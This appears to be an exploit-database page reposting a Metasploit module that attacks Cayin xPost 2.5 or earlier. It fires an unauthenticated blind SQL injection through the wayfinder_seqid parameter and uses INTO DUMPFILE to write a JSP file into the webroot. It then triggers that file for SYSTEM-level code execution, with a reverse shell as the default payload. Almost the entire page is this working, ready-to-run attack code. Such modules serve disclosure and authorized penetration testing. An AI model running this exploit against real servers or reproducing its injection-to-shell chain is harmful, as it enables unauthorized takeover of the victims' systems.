Cayin xPost 2.5 SQL Injection / Remote Code Execution

2020.06.18
Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE', 'Description' => %q{ This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected with a blind SQLi. Since this app bundles MySQL and apache Tomcat the environment is pretty static and therefore the default settings should work. Results in SYSTEM level access. Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads seem to be valid. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Gjoko Krstic (LiquidWorm) <gjoko@zeroscience.mk>' # original PoC, discovery ], 'References' => [ [ 'EDB', '48558' ], [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ], [ 'CVE', '2020-7356' ] ], 'Platform' => ['java', 'win'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'Jun 4 2020', 'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'Payload' => # meterpreter is too large for payload space { 'Space' => 2000, 'DisableNops' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']), OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', '']) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js') ) if res.nil? || res.code != 200 return CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end %r{// xPost v(?<version>[\d\.]+) } =~ res.body if version && Gem::Version.new(version) <= Gem::Version.new('2.5') print_good("Version Detected: #{version}") return CheckCode::Appears end # try a backup plan, at least verify the title res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp') ) if res.nil? || res.code != 200 return CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end if res.body =~ %r{<title>xPost</title>} vprint_good('HTML Title includes xPost') return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end def exploit filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME'] filename = "#{filename}.jsp" unless filename.end_with? '.jsp' vprint_status("Utilizing payload filename #{filename}") vprint_status("Payload Size: #{payload.encoded.length}") vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}") payload_request = "-251' UNION ALL SELECT 0x" payload_request << payload.encoded.unpack1('H*') payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ' payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -" payload_request.gsub!(' ', '%20') vprint_status('Attempting Exploitation') uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp') # use raw to prevent encoding of injection characters res = send_request_raw( 'uri' => "#{uri}?wayfinder_seqid=#{payload_request}" ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 400 fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload") end if res.code != 302 fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection") end register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}") vprint_status('Triggering uploaded payload') send_request_cgi( 'uri' => normalize_uri(target_uri.path, filename) ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top